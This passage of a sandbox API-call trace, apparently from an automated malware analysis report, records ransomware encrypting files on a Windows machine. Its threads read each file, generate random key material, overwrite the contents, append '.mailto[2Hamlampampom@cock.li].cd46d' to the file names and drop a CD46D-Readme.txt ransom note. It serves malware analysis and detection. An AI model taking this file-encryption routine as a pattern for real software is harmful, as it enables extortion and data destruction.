RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x965a670) returned 1 [0061.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96fa100) returned 1 [0061.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418ed8) returned 1 [0061.858] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x402840) returned 1 [0061.858] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97ceb10 [0061.858] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.858] WriteFile (in: hFile=0x126c, lpBuffer=0x44e420*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x3e8fbb8, lpOverlapped=0x0 | out: lpBuffer=0x44e420*, lpNumberOfBytesWritten=0x3e8fbb8*=0x105, lpOverlapped=0x0) returned 1 [0061.859] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44e420) returned 1 [0061.859] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cea80) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429278) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceb10) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429138) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429250) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429318) returned 1 [0061.860] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4290e8) returned 1 [0061.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb6) returned 0x5e02120 [0061.860] wcscpy (in: _Dest=0x5e02120, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" [0061.860] wcscat (in: _Dest=0x5e02120, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.mailto[2Hamlampampom@cock.li].cd46d" [0061.860] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3e8fb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.860] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xcc) returned 0x40db20 [0061.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0061.862] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ddd10) returned 1 [0061.862] NtQueryInformationFile (in: FileHandle=0x126c, IoStatusBlock=0x3e8fb7c, FileInformation=0x3e8fb54, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3e8fb7c, FileInformation=0x3e8fb54) returned 0x0 [0061.862] NtSetInformationFile (FileHandle=0x126c, IoStatusBlock=0x3e8fb7c, FileInformation=0x3e8fb54, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.863] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 [0061.863] FlushFileBuffers (hFile=0x126c) returned 1 [0062.217] CloseHandle (hObject=0x126c) returned 1 [0062.719] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7c) returned 0x446c38 [0062.719] wcscpy (in: _Dest=0x446c38, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0062.719] wcscat (in: _Dest=0x446c38, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\CD46D-Readme.txt" [0062.720] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\cd46d-readme.txt")) returned 0xffffffff [0062.720] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x650 [0062.906] WriteFile (in: hFile=0x650, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x3e8fb78, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x3e8fb78*=0x6fd, lpOverlapped=0x0) returned 1 [0062.994] CloseHandle (hObject=0x650) returned 1 [0062.994] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x446c38) returned 1 [0062.994] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ef1f8) returned 1 Thread: id = 1103 os_tid = 0xd04 [0059.449] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winproj.dev.14.1033.hxn")) Thread: id = 1104 os_tid = 0xd08 [0059.449] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.14.1033.hxn")) Thread: id = 1105 os_tid = 0xd0c [0059.450] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn")) returned 0x2022 [0064.276] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn", dwFileAttributes=0x20) returned 1 [0064.276] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.winword.dev.14.1033.hxn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13b0 [0064.277] GetFileSizeEx (in: hFile=0x13b0, lpFileSize=0x3b9fd9c | out: lpFileSize=0x3b9fd9c*=362) returned 1 [0064.277] SetFilePointerEx (in: hFile=0x13b0, liDistanceToMove=0x166, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.277] ReadFile (in: hFile=0x13b0, lpBuffer=0x3b9fd20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b9fd1c, lpOverlapped=0x0 | out: lpBuffer=0x3b9fd20*, lpNumberOfBytesRead=0x3b9fd1c*=0x4, lpOverlapped=0x0) returned 1 [0064.278] SetFilePointerEx (in: hFile=0x13b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec9750 [0064.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b20 [0064.278] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0064.278] NtQuerySystemTime (in: CurrentTime=0x3b9fcfc | out: CurrentTime=0x3b9fcfc*=132174898282644000) returned 0x0 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x19052c60 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x3f474f87 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x7021c72a [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x73643c8f [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x26e0f1a [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x6be3adfb [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x5a96591b [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x3a6903da [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x586e0663 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x55ec1d38 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x722ebc6c [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x3b1dd154 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x34861e3c [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x6928b76 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x25b32859 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x52169c37 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x6a518923 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x23e44236 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x75730952 [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x3c7c09ca [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x593a5af [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x439b47fa [0064.278] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x4e91df84 [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x6f73f150 [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x6d011ace [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x5e8db8dd [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x474b2759 [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x32d05df1 [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x17aab6d2 [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x7183596c [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x7a7a553a [0064.279] RtlRandomEx (in: Seed=0x3b9fd08 | out: Seed=0x3b9fd08) returned 0x75b3829b [0064.289] ReadFile (in: hFile=0x13b0, lpBuffer=0x19534088, nNumberOfBytesToRead=0x16a, lpNumberOfBytesRead=0x3b9fcf8, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesRead=0x3b9fcf8*=0x16a, lpOverlapped=0x0) returned 1 [0064.289] SetFilePointerEx (in: hFile=0x13b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.289] WriteFile (in: hFile=0x13b0, lpBuffer=0x19540890*, nNumberOfBytesToWrite=0x16a, lpNumberOfBytesWritten=0x3b9fcf4, lpOverlapped=0x0 | out: lpBuffer=0x19540890*, lpNumberOfBytesWritten=0x3b9fcf4*=0x16a, lpOverlapped=0x0) returned 1 [0065.478] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce0c8 [0065.478] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97ce780 [0065.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce780) returned 1 [0065.478] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19540890) returned 1 [0065.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 1 [0065.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 [0065.483] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0065.483] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x41) returned 0x444d70 [0065.483] SetFilePointerEx (in: hFile=0x13b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.483] WriteFile (hFile=0x13b0, lpBuffer=0x12d7a1c0, nNumberOfBytesToWrite=0x125, lpNumberOfBytesWritten=0x3b9fd5c, lpOverlapped=0x0) Thread: id = 1106 os_tid = 0x6fc [0059.450] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl")) returned 0x2022 [0064.245] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl", dwFileAttributes=0x20) returned 1 [0064.245] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft Help\\nslist.hxl" (normalized: "c:\\programdata\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xc5c [0064.245] GetFileSizeEx (in: hFile=0xc5c, lpFileSize=0x302fca8 | out: lpFileSize=0x302fca8*=8668) returned 1 [0064.245] SetFilePointerEx (in: hFile=0xc5c, liDistanceToMove=0x21d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.245] ReadFile (in: hFile=0xc5c, lpBuffer=0x302fc2c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x302fc28, lpOverlapped=0x0 | out: lpBuffer=0x302fc2c*, lpNumberOfBytesRead=0x302fc28*=0x4, lpOverlapped=0x0) returned 1 [0064.247] SetFilePointerEx (in: hFile=0xc5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec93b8 [0064.247] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b48 [0064.247] NtQuerySystemTime (in: CurrentTime=0x302fc08 | out: CurrentTime=0x302fc08*=132174898282332000) returned 0x0 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x5f59d357 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x57e747d3 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x1aa6fa12 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x78b6c01b [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x7ebd3b1b [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x77315151 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x5a6aefad [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x27bfa8f9 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x14d3b2f0 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x6a903d65 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x32cf07bb [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0xd89b383 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x3f57ab61 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x52317542 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x6f3e6205 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x2d9d1b5a [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x5661a8d6 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x7259952c [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x71d90aec [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x29d90814 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x7c3e7bfc [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x4fb6e980 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x10871d0f [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x25d576ce [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x449c1e1 [0064.247] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x3c554354 [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x7d321b74 [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x5dea7ef2 [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x6a53bde [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x18cbfaeb [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x6add9c8d [0064.248] RtlRandomEx (in: Seed=0x302fc14 | out: Seed=0x302fc14) returned 0x678293b7 [0064.259] ReadFile (in: hFile=0xc5c, lpBuffer=0x19534088, nNumberOfBytesToRead=0x21dc, lpNumberOfBytesRead=0x302fc04, lpOverlapped=0x0 | out: lpBuffer=0x19534088*, lpNumberOfBytesRead=0x302fc04*=0x21dc, lpOverlapped=0x0) returned 1 [0064.260] SetFilePointerEx (in: hFile=0xc5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.270] WriteFile (in: hFile=0xc5c, lpBuffer=0x19540890*, nNumberOfBytesToWrite=0x21dc, lpNumberOfBytesWritten=0x302fc00, lpOverlapped=0x0 | out: lpBuffer=0x19540890*, lpNumberOfBytesWritten=0x302fc00*=0x21dc, lpOverlapped=0x0) returned 1 [0064.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec88c8 [0064.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x5ec8b48 [0064.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b48) returned 1 [0064.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19540890) returned 1 [0064.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19534088) returned 1 [0064.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x418d70) returned 1 [0064.271] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0064.271] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x21) returned 0x97cee70 [0064.272] SetFilePointerEx (in: hFile=0xc5c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.272] WriteFile (in: hFile=0xc5c, lpBuffer=0x423da8*, nNumberOfBytesToWrite=0x105, lpNumberOfBytesWritten=0x302fc68, lpOverlapped=0x0 | out: lpBuffer=0x423da8*, lpNumberOfBytesWritten=0x302fc68*=0x105, lpOverlapped=0x0) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x423da8) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cede0) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b48) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cee70) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec88c8) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec93b8) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec8b20) returned 1 [0064.273] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec9750) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x43e1b8 [0064.273] wcscpy (in: _Dest=0x43e1b8, _Source="C:\\ProgramData\\Microsoft Help\\nslist.hxl" | out: _Dest="C:\\ProgramData\\Microsoft Help\\nslist.hxl") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl" [0064.273] wcscat (in: _Dest=0x43e1b8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\ProgramData\\Microsoft Help\\nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\ProgramData\\Microsoft Help\\nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d" [0064.273] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft Help\\nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x302fc20, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft Help\\nslist.hxl.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0064.273] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb0) returned 0x45c408 [0064.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45c408) returned 1 [0064.275] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96f0be0) returned 1 [0064.275] NtQueryInformationFile (in: FileHandle=0xc5c, IoStatusBlock=0x302fc2c, FileInformation=0x302fc04, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x302fc2c, FileInformation=0x302fc04) returned 0x0 [0064.275] NtSetInformationFile (FileHandle=0xc5c, IoStatusBlock=0x302fc2c, FileInformation=0x302fc04, Length=0x28, FileInformationClass=0x4) returned 0x0 [0064.276] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43e1b8) returned 1 [0064.276] FlushFileBuffers (hFile=0xc5c) returned 1 [0066.228] CloseHandle (hObject=0xc5c) Thread: id = 1107 os_tid = 0xd10 [0059.451] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 0x20 [0063.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR", dwFileAttributes=0x20) returned 1 [0063.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x650 [0063.492] GetFileSizeEx (in: hFile=0x650, lpFileSize=0x502fb68 | out: lpFileSize=0x502fb68*=32246) returned 1 [0063.492] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x7df2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.492] ReadFile (in: hFile=0x650, lpBuffer=0x502faec, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x502fae8, lpOverlapped=0x0 | out: lpBuffer=0x502faec*, lpNumberOfBytesRead=0x502fae8*=0x4, lpOverlapped=0x0) returned 1 [0063.494] SetFilePointerEx (in: hFile=0x650, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.494] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05070 [0063.494] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05048 [0063.494] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x12d05700 [0063.494] NtQuerySystemTime (in: CurrentTime=0x502fac8 | out: CurrentTime=0x502fac8*=132174898274688000) returned 0x0 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x38df0f2a [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x53065ed1 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x3b2aa1bb [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x21455d19 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x3dda6f98 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x4dbadb09 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x5c15f0bd [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x41078c21 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x42b32f9d [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x48737ad6 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x4371541e [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x3f6244ca [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x622a4d25 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x6c701818 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x6bc7a3d0 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x128cdbf3 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x4d9e5bd0 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x7d9edeb1 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x6b1e759a [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x37d334db [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x5b3b7e65 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0xa7ec6b0 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x39c275e [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x63d1da4b [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x432bf04e [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 0x51160140 [0063.494] RtlRandomEx (in: Seed=0x502fad4 | out: Seed=0x502fad4) returned 